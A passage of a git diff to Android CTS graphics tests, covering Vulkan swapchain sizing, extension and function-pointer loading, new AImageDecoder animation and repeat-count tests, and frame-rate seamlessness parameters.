-        std::swap(mDisplaySize.width, mDisplaySize.height);
+        std::swap(mImageSize.width, mImageSize.height);
     }
 
     if (outPreTransformHint) {
@@ -318,7 +328,7 @@
             .minImageCount = surfaceCapabilities.minImageCount,
             .imageFormat = mFormat,
             .imageColorSpace = formats[formatIndex].colorSpace,
-            .imageExtent = mDisplaySize,
+            .imageExtent = mImageSize,
             .imageArrayLayers = 1,
             .imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT,
             .imageSharingMode = VK_SHARING_MODE_EXCLUSIVE,
@@ -467,8 +477,8 @@
                 .renderPass = mRenderPass,
                 .attachmentCount = 1,
                 .pAttachments = &mImageViews[i],
-                .width = mSwapchainInfo->displaySize().width,
-                .height = mSwapchainInfo->displaySize().height,
+                .width = mSwapchainInfo->imageSize().width,
+                .height = mSwapchainInfo->imageSize().height,
                 .layers = 1,
         };
         VK_CALL(vkCreateFramebuffer(mDeviceInfo->device(), &framebufferCreateInfo, nullptr,
@@ -597,8 +607,8 @@
     const VkViewport viewports = {
             .x = 0.0f,
             .y = 0.0f,
-            .width = (float)mSwapchainInfo->displaySize().width,
-            .height = (float)mSwapchainInfo->displaySize().height,
+            .width = (float)mSwapchainInfo->imageSize().width,
+            .height = (float)mSwapchainInfo->imageSize().height,
             .minDepth = 0.0f,
             .maxDepth = 1.0f,
     };
@@ -608,7 +618,7 @@
                             .x = 0,
                             .y = 0,
                     },
-            .extent = mSwapchainInfo->displaySize(),
+            .extent = mSwapchainInfo->imageSize(),
     };
     const VkPipelineViewportStateCreateInfo viewportInfo = {
             .sType = VK_STRUCTURE_TYPE_PIPELINE_VIEWPORT_STATE_CREATE_INFO,
@@ -786,7 +796,7 @@
                                                 .x = 0,
                                                 .y = 0,
                                         },
-                                .extent = mSwapchainInfo->displaySize(),
+                                .extent = mSwapchainInfo->imageSize(),
                         },
                 .clearValueCount = 1,
                 .pClearValues = &clearVals,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
index ba36b7a..20a7768 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
@@ -57,7 +57,8 @@
     ~SwapchainInfo();
     VkTestResult init(bool setPreTransform, int* outPreTransformHint);
     VkFormat format() const { return mFormat; }
-    VkExtent2D displaySize() const { return mDisplaySize; }
+    VkExtent2D surfaceSize() const { return mSurfaceSize; }
+    VkExtent2D imageSize() const { return mImageSize; }
     VkSwapchainKHR swapchain() const { return mSwapchain; }
     uint32_t swapchainLength() const { return mSwapchainLength; }
 
@@ -65,7 +66,8 @@
     const DeviceInfo* const mDeviceInfo;
 
     VkFormat mFormat;
-    VkExtent2D mDisplaySize;
+    VkExtent2D mSurfaceSize;
+    VkExtent2D mImageSize;
     VkSwapchainKHR mSwapchain;
     uint32_t mSwapchainLength;
 };
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index b549b97..ea16aea 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -102,18 +102,8 @@
       .engineVersion = VK_MAKE_VERSION(1, 0, 0),
       .apiVersion = VK_MAKE_VERSION(1, 1, 0),
   };
-  std::vector<const char *> instanceExt, deviceExt;
+  std::vector<const char *> instanceExt;
   instanceExt.push_back(VK_EXT_DEBUG_REPORT_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_EXTERNAL_MEMORY_CAPABILITIES_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_CAPABILITIES_EXTENSION_NAME);
-  instanceExt.push_back(VK_KHR_GET_PHYSICAL_DEVICE_PROPERTIES_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_BIND_MEMORY_2_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_MEMORY_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_FD_EXTENSION_NAME);
-  deviceExt.push_back(VK_KHR_SAMPLER_YCBCR_CONVERSION_EXTENSION_NAME);
-  deviceExt.push_back(VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME);
   VkInstanceCreateInfo createInfo = {
       .sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO,
       .pNext = nullptr,
@@ -131,12 +121,38 @@
   ASSERT(status == VK_SUCCESS || status == VK_INCOMPLETE);
   ASSERT(gpuCount > 0);
 
+  VkPhysicalDeviceProperties physicalDeviceProperties;
+  vkGetPhysicalDeviceProperties(mGpu, &physicalDeviceProperties);
+  std::vector<const char *> deviceExt;
+  if (physicalDeviceProperties.apiVersion < VK_API_VERSION_1_1) {
+      deviceExt.push_back(VK_KHR_GET_MEMORY_REQUIREMENTS_2_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_BIND_MEMORY_2_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_EXTERNAL_MEMORY_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_EXTENSION_NAME);
+      deviceExt.push_back(VK_KHR_SAMPLER_YCBCR_CONVERSION_EXTENSION_NAME);
+  }
+  deviceExt.push_back(VK_KHR_EXTERNAL_SEMAPHORE_FD_EXTENSION_NAME);
+  deviceExt.push_back(VK_EXT_QUEUE_FAMILY_FOREIGN_EXTENSION_NAME);
+  deviceExt.push_back(VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME);
+
   std::vector<VkExtensionProperties> supportedDeviceExtensions;
   ASSERT(enumerateDeviceExtensions(mGpu, &supportedDeviceExtensions));
   for (const auto extension : deviceExt) {
       ASSERT(hasExtension(extension, supportedDeviceExtensions));
   }
 
+  const VkPhysicalDeviceExternalSemaphoreInfo externalSemaphoreInfo = {
+          VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_EXTERNAL_SEMAPHORE_INFO,
+          nullptr,
+          VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
+  };
+  VkExternalSemaphoreProperties externalSemaphoreProperties;
+  vkGetPhysicalDeviceExternalSemaphoreProperties(mGpu, &externalSemaphoreInfo,
+                                                 &externalSemaphoreProperties);
+
+  ASSERT(externalSemaphoreProperties.externalSemaphoreFeatures &
+         VK_EXTERNAL_SEMAPHORE_FEATURE_IMPORTABLE_BIT);
+
   uint32_t queueFamilyCount = 0;
   vkGetPhysicalDeviceQueueFamilyProperties(mGpu, &queueFamilyCount, nullptr);
   ASSERT(queueFamilyCount != 0);
@@ -178,10 +194,37 @@
 
   VK_CALL(vkCreateDevice(mGpu, &deviceCreateInfo, nullptr, &mDevice));
 
-  mPfnGetAndroidHardwareBufferPropertiesANDROID =
-      (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)vkGetDeviceProcAddr(
-          mDevice, "vkGetAndroidHardwareBufferPropertiesANDROID");
-  ASSERT(mPfnGetAndroidHardwareBufferPropertiesANDROID);
+  if (physicalDeviceProperties.apiVersion < VK_API_VERSION_1_1) {
+      mPfnBindImageMemory2 =
+              (PFN_vkBindImageMemory2)vkGetDeviceProcAddr(mDevice, "vkBindImageMemory2KHR");
+      mPfnGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)
+              vkGetDeviceProcAddr(mDevice, "vkGetImageMemoryRequirements2KHR");
+      mPfnCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkCreateSamplerYcbcrConversionKHR");
+      mPfnDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkDestroySamplerYcbcrConversionKHR");
+  } else {
+      mPfnBindImageMemory2 =
+              (PFN_vkBindImageMemory2)vkGetDeviceProcAddr(mDevice, "vkBindImageMemory2");
+      mPfnGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)
+              vkGetDeviceProcAddr(mDevice, "vkGetImageMemoryRequirements2");
+      mPfnCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkCreateSamplerYcbcrConversion");
+      mPfnDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)
+              vkGetDeviceProcAddr(mDevice, "vkDestroySamplerYcbcrConversion");
+  }
+  ASSERT(mPfnBindImageMemory2);
+  ASSERT(mPfnGetImageMemoryRequirements2);
+  ASSERT(mPfnCreateSamplerYcbcrConversion);
+  ASSERT(mPfnDestroySamplerYcbcrConversion);
+
+  mPfnGetAndroidHardwareBufferProperties = (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)
+          vkGetDeviceProcAddr(mDevice, "vkGetAndroidHardwareBufferPropertiesANDROID");
+  ASSERT(mPfnGetAndroidHardwareBufferProperties);
+
+  mPfnImportSemaphoreFd =
+          (PFN_vkImportSemaphoreFdKHR)vkGetDeviceProcAddr(mDevice, "vkImportSemaphoreFdKHR");
+  ASSERT(mPfnImportSemaphoreFd);
 
   VkPhysicalDeviceSamplerYcbcrConversionFeaturesKHR ycbcrFeatures{
       .sType =
@@ -192,11 +235,7 @@
       .sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_FEATURES_2_KHR,
       .pNext = &ycbcrFeatures,
   };
-  PFN_vkGetPhysicalDeviceFeatures2KHR getFeatures =
-      (PFN_vkGetPhysicalDeviceFeatures2KHR)vkGetInstanceProcAddr(
-          mInstance, "vkGetPhysicalDeviceFeatures2KHR");
-  ASSERT(getFeatures);
-  getFeatures(mGpu, &physicalDeviceFeatures);
+  vkGetPhysicalDeviceFeatures2(mGpu, &physicalDeviceFeatures);
   ASSERT(ycbcrFeatures.samplerYcbcrConversion == VK_TRUE);
 
   vkGetDeviceQueue(mDevice, 0, 0, &mQueue);
@@ -255,8 +294,7 @@
       .sType = VK_STRUCTURE_TYPE_ANDROID_HARDWARE_BUFFER_PROPERTIES_ANDROID,
       .pNext = &formatInfo,
   };
-  VK_CALL(mInit->getHardwareBufferPropertiesFn()(mInit->device(), buffer,
-                                                 &properties));
+  VK_CALL(mInit->mPfnGetAndroidHardwareBufferProperties(mInit->device(), buffer, &properties));
   ASSERT(useExternalFormat || formatInfo.format != VK_FORMAT_UNDEFINED);
   // Create an image to bind to our AHardwareBuffer.
   VkExternalFormatANDROID externalFormat{
@@ -319,11 +357,7 @@
   bindImageInfo.memory = mMemory;
   bindImageInfo.memoryOffset = 0;
 
-  PFN_vkBindImageMemory2KHR bindImageMemory =
-      (PFN_vkBindImageMemory2KHR)vkGetDeviceProcAddr(mInit->device(),
-                                                     "vkBindImageMemory2KHR");
-  ASSERT(bindImageMemory);
-  VK_CALL(bindImageMemory(mInit->device(), 1, &bindImageInfo));
+  VK_CALL(mInit->mPfnBindImageMemory2(mInit->device(), 1, &bindImageInfo));
 
   VkImageMemoryRequirementsInfo2 memReqsInfo;
   memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
@@ -338,11 +372,7 @@
   memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
   memReqs.pNext = &dedicatedMemReqs;
 
-  PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
-      (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
-          mInit->device(), "vkGetImageMemoryRequirements2KHR");
-  ASSERT(getImageMemoryRequirements);
-  getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
+  mInit->mPfnGetImageMemoryRequirements2(mInit->device(), &memReqsInfo, &memReqs);
   ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
   ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
 
@@ -359,12 +389,8 @@
         .chromaFilter = VK_FILTER_NEAREST,
         .forceExplicitReconstruction = VK_FALSE,
     };
-    PFN_vkCreateSamplerYcbcrConversionKHR createSamplerYcbcrConversion =
-        (PFN_vkCreateSamplerYcbcrConversionKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkCreateSamplerYcbcrConversionKHR");
-    ASSERT(createSamplerYcbcrConversion);
-    VK_CALL(createSamplerYcbcrConversion(mInit->device(), &conversionCreateInfo,
-                                         nullptr, &mConversion));
+    VK_CALL(mInit->mPfnCreateSamplerYcbcrConversion(mInit->device(), &conversionCreateInfo, nullptr,
+                                                    &mConversion));
   }
   VkSamplerYcbcrConversionInfo samplerConversionInfo{
       .sType = VK_STRUCTURE_TYPE_SAMPLER_YCBCR_CONVERSION_INFO,
@@ -431,12 +457,7 @@
         .handleType = VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
         .fd = syncFd,
     };
-
-    PFN_vkImportSemaphoreFdKHR importSemaphoreFd =
-        (PFN_vkImportSemaphoreFdKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkImportSemaphoreFdKHR");
-    ASSERT(importSemaphoreFd);
-    VK_CALL(importSemaphoreFd(mInit->device(), &importSemaphoreInfo));
+    VK_CALL(mInit->mPfnImportSemaphoreFd(mInit->device(), &importSemaphoreInfo));
   }
 
   return true;
@@ -452,10 +473,7 @@
     mSampler = VK_NULL_HANDLE;
   }
   if (mConversion != VK_NULL_HANDLE) {
-    PFN_vkDestroySamplerYcbcrConversionKHR destroySamplerYcbcrConversion =
-        (PFN_vkDestroySamplerYcbcrConversionKHR)vkGetDeviceProcAddr(
-            mInit->device(), "vkDestroySamplerYcbcrConversionKHR");
-    destroySamplerYcbcrConversion(mInit->device(), mConversion, nullptr);
+    mInit->mPfnDestroySamplerYcbcrConversion(mInit->device(), mConversion, nullptr);
   }
   if (mMemory != VK_NULL_HANDLE) {
     vkFreeMemory(mInit->device(), mMemory, nullptr);
@@ -1090,7 +1108,7 @@
       mCmdBuffer, image, VK_PIPELINE_STAGE_TOP_OF_PIPE_BIT,
       VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT, 0, VK_ACCESS_SHADER_READ_BIT,
       VK_IMAGE_LAYOUT_UNDEFINED, VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL,
-      VK_QUEUE_FAMILY_EXTERNAL_KHR, mInit->queueFamilyIndex());
+      VK_QUEUE_FAMILY_FOREIGN_EXT, mInit->queueFamilyIndex());
 
   // Transition the destination texture for use as a framebuffer.
   addImageTransitionBarrier(
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.h b/tests/tests/graphics/jni/VulkanTestHelpers.h
index c7cc1ee..773f9a7 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.h
@@ -36,14 +36,16 @@
   VkQueue queue() { return mQueue; }
   VkPhysicalDevice gpu() { return mGpu; }
   uint32_t queueFamilyIndex() { return mQueueFamilyIndex; }
-  PFN_vkGetAndroidHardwareBufferPropertiesANDROID
-    getHardwareBufferPropertiesFn() {
-      return mPfnGetAndroidHardwareBufferPropertiesANDROID;
-    }
-
   uint32_t findMemoryType(uint32_t memoryTypeBitsRequirement,
                           VkFlags requirementsMask);
 
+  PFN_vkBindImageMemory2 mPfnBindImageMemory2 = nullptr;
+  PFN_vkGetImageMemoryRequirements2 mPfnGetImageMemoryRequirements2 = nullptr;
+  PFN_vkCreateSamplerYcbcrConversion mPfnCreateSamplerYcbcrConversion = nullptr;
+  PFN_vkDestroySamplerYcbcrConversion mPfnDestroySamplerYcbcrConversion = nullptr;
+  PFN_vkImportSemaphoreFdKHR mPfnImportSemaphoreFd = nullptr;
+  PFN_vkGetAndroidHardwareBufferPropertiesANDROID mPfnGetAndroidHardwareBufferProperties = nullptr;
+
 private:
   VkInstance mInstance = VK_NULL_HANDLE;
   VkPhysicalDevice mGpu = VK_NULL_HANDLE;
@@ -51,8 +53,6 @@
   VkQueue mQueue = VK_NULL_HANDLE;
   uint32_t mQueueFamilyIndex = 0;
   VkPhysicalDeviceMemoryProperties mMemoryProperties = {};
-  PFN_vkGetAndroidHardwareBufferPropertiesANDROID
-      mPfnGetAndroidHardwareBufferPropertiesANDROID = nullptr;
 };
 
 // Provides import of AHardwareBuffer.
diff --git a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
index 637cecb..639d119 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
@@ -91,6 +91,10 @@
     ASSERT_NE(asset, nullptr);
     AssetCloser assetCloser(asset, AAsset_close);
 
+    AImageDecoder_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
     {
         int result = AImageDecoder_createFromAAsset(asset, nullptr);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -166,6 +170,14 @@
         int result = AImageDecoder_setDataSpace(nullptr, dataSpace);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
     }
+
+    ASSERT_FALSE(AImageDecoder_isAnimated(nullptr));
+
+    {
+        int result = AImageDecoder_getRepeatCount(nullptr);
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+    }
+#pragma clang diagnostic pop
 }
 
 static void testInfo(JNIEnv* env, jclass, jlong imageDecoderPtr, jint width, jint height,
@@ -532,8 +544,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -850,8 +865,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1067,8 +1085,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1211,6 +1232,26 @@
     free(pixels);
 }
 
+static void testIsAnimated(JNIEnv* env, jclass, jlong imageDecoderPtr, jboolean animated) {
+    AImageDecoder* decoder = reinterpret_cast<AImageDecoder*>(imageDecoderPtr);
+    DecoderDeleter decoderDeleter(decoder, AImageDecoder_delete);
+
+    ASSERT_TRUE(decoder);
+    ASSERT_EQ(animated, AImageDecoder_isAnimated(decoder));
+}
+
+static void testRepeatCount(JNIEnv* env, jclass, jlong imageDecoderPtr, jint repeatCount) {
+    AImageDecoder* decoder = reinterpret_cast<AImageDecoder*>(imageDecoderPtr);
+    DecoderDeleter decoderDeleter(decoder, AImageDecoder_delete);
+
+    if (repeatCount == -1) { // AnimatedImageDrawable.REPEAT_INFINITE
+        repeatCount = ANDROID_IMAGE_DECODER_INFINITE;
+    }
+
+    ASSERT_TRUE(decoder);
+    ASSERT_EQ(repeatCount, AImageDecoder_getRepeatCount(decoder));
+}
+
 #define ASSET_MANAGER "Landroid/content/res/AssetManager;"
 #define STRING "Ljava/lang/String;"
 #define BITMAP "Landroid/graphics/Bitmap;"
@@ -1239,6 +1280,8 @@
     { "nTestDecodeCrop", "(J" BITMAP "IIIIII)V", (void*) testDecodeCrop },
     { "nTestScalePlusUnpremul", "(J)V", (void*) testScalePlusUnpremul },
     { "nTestDecode", "(J" BITMAP "I)V", (void*) testDecodeSetDataSpace },
+    { "nTestIsAnimated", "(JZ)V", (void*) testIsAnimated },
+    { "nTestRepeatCount", "(JI)V", (void*) testRepeatCount },
 };
 
 int register_android_graphics_cts_AImageDecoderTest(JNIEnv* env) {
diff --git a/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
index e33f7f6..ba7622a 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_FrameRateCtsActivity.cpp
@@ -156,12 +156,13 @@
 };
 
 jint nativeWindowSetFrameRate(JNIEnv* env, jclass, jobject jSurface, jfloat frameRate,
-                              jint compatibility) {
+                              jint compatibility, jboolean shouldBeSeamless) {
     ANativeWindow* window = nullptr;
     if (jSurface) {
         window = ANativeWindow_fromSurface(env, jSurface);
     }
-    return ANativeWindow_setFrameRate(window, frameRate, compatibility);
+    return ANativeWindow_setFrameRateWithSeamlessness(window, frameRate, compatibility,
+            shouldBeSeamless);
 }
 
 jlong surfaceControlCreate(JNIEnv* env, jclass, jobject jParentSurface, jstring jName, jint left,
@@ -195,11 +196,12 @@
 }
 
 void surfaceControlSetFrameRate(JNIEnv*, jclass, jlong surfaceControlLong, jfloat frameRate,
-                                int compatibility) {
+                                jint compatibility, jboolean shouldBeSeamless) {
     ASurfaceControl* surfaceControl =
             reinterpret_cast<Surface*>(surfaceControlLong)->getSurfaceControl();
     ASurfaceTransaction* transaction = ASurfaceTransaction_create();
-    ASurfaceTransaction_setFrameRate(transaction, surfaceControl, frameRate, compatibility);
+    ASurfaceTransaction_setFrameRateWithSeamlessness(transaction, surfaceControl, frameRate,
+            compatibility, bool(shouldBeSeamless));
     ASurfaceTransaction_apply(transaction);
     ASurfaceTransaction_delete(transaction);
 }
@@ -239,12 +241,12 @@
 }
 
 const std::array<JNINativeMethod, 6> JNI_METHODS = {{
-        {"nativeWindowSetFrameRate", "(Landroid/view/Surface;FI)I",
+        {"nativeWindowSetFrameRate", "(Landroid/view/Surface;FIZ)I",
          (void*)nativeWindowSetFrameRate},
         {"nativeSurfaceControlCreate", "(Landroid/view/Surface;Ljava/lang/String;IIII)J",
          (void*)surfaceControlCreate},
         {"nativeSurfaceControlDestroy", "(J)V", (void*)surfaceControlDestroy},
-        {"nativeSurfaceControlSetFrameRate", "(JFI)V", (void*)surfaceControlSetFrameRate},
+        {"nativeSurfaceControlSetFrameRate", "(JFIZ)V", (void*)surfaceControlSetFrameRate},
         {"nativeSurfaceControlSetVisibility", "(JZ)V", (void*)surfaceControlSetVisibility},
         {"nativeSurfaceControlPostBuffer", "(JI)Z", (void*)surfaceControlPostBuffer},
 }};
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
index c9f557f..4bc1f98 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
@@ -29,14 +29,16 @@
 
 namespace {
 
-jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform, jint preTransformHint) {
+jboolean validatePixelValues(JNIEnv* env, jint width, jint height, jboolean setPreTransform,
+                             jint preTransformHint) {
     jclass clazz = env->FindClass("android/graphics/cts/VulkanPreTransformTest");
-    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(ZI)Z");
+    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(IIZI)Z");
     if (mid == 0) {
         ALOGE("Failed to find method ID");
         return false;
     }
-    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform, preTransformHint);
+    return env->CallStaticBooleanMethod(clazz, mid, width, height, setPreTransform,
+                                        preTransformHint);
 }
 
 void createNativeTest(JNIEnv* env, jclass /*clazz*/, jobject jAssetManager, jobject jSurface,
@@ -71,7 +73,10 @@
         }
     }
 
-    ASSERT(validatePixelValues(env, setPreTransform, preTransformHint), "Not properly rotated");
+    const VkExtent2D surfaceSize = swapchainInfo.surfaceSize();
+    ASSERT(validatePixelValues(env, surfaceSize.width, surfaceSize.height, setPreTransform,
+                               preTransformHint),
+           "Not properly rotated");
 }
 
 const std::array<JNINativeMethod, 1> JNI_METHODS = {{
diff --git a/tests/tests/graphics/res/drawable/animated_webp.webp b/tests/tests/graphics/res/drawable/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_webp.webp
Binary files differ
diff --git a/tests/tests/graphics/res/font/a3em.ttf b/tests/tests/graphics/res/font/a3em.ttf
index a601ce2..e7814db 100644
--- a/tests/tests/graphics/res/font/a3em.ttf
+++ b/tests/tests/graphics/res/font/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
index 472fa25..536d7f4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
@@ -33,10 +33,12 @@
 import android.graphics.ColorSpace.Named;
 import android.graphics.ImageDecoder;
 import android.graphics.Rect;
+import android.graphics.drawable.cts.AnimatedImageDrawableTest;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
 import android.system.ErrnoException;
 import android.system.Os;
+import android.util.DisplayMetrics;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -296,6 +298,20 @@
         }
     }
 
+    private static Bitmap decode(int resId, boolean unpremul) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decode(src, unpremul);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecordsUnpremul")
     public void testDecode(ImageDecoderTest.AssetRecord record, boolean unpremul) {
@@ -314,9 +330,7 @@
     @Parameters(method = "getRecordsUnpremul")
     public void testDecodeResources(ImageDecoderTest.Record record, boolean unpremul)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        Bitmap bm = decode(src, unpremul);
+        Bitmap bm = decode(record.resId, unpremul);
         try (ParcelFileDescriptor pfd = open(record.resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
@@ -349,6 +363,20 @@
         }
     }
 
+    private static Bitmap decode(int resId, Bitmap.Config config) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decode(src, config);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecords")
     public void testDecode565(ImageDecoderTest.AssetRecord record) {
@@ -371,9 +399,7 @@
     @Parameters(method = "getRecords")
     public void testDecode565Resources(ImageDecoderTest.Record record)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        Bitmap bm = decode(src, Bitmap.Config.RGB_565);
+        Bitmap bm = decode(record.resId, Bitmap.Config.RGB_565);
 
         if (bm.getConfig() != Bitmap.Config.RGB_565) {
             bm = null;
@@ -410,9 +436,7 @@
     public void testDecodeA8Resources()
             throws IOException {
         final int resId = R.drawable.grayscale_jpg;
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                resId);
-        Bitmap bm = decode(src, Bitmap.Config.ALPHA_8);
+        Bitmap bm = decode(resId, Bitmap.Config.ALPHA_8);
 
         assertNotNull(bm);
         assertNull(bm.getColorSpace());
@@ -577,13 +601,17 @@
             // SkRawCodec does not support sampling.
             return;
         }
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        String name = Utils.getAsResourceUri(record.resId).toString();
+        testComputeSampledSizeInternal(record.resId, sampleSize);
+    }
+
+    private void testComputeSampledSizeInternal(int resId, int sampleSize)
+            throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
+        String name = Utils.getAsResourceUri(resId).toString();
         Bitmap bm = decodeSampled(name, src, sampleSize);
         assertNotNull(bm);
 
-        try (ParcelFileDescriptor pfd = open(record.resId)) {
+        try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
             nTestComputeSampledSize(aimagedecoder, bm, sampleSize);
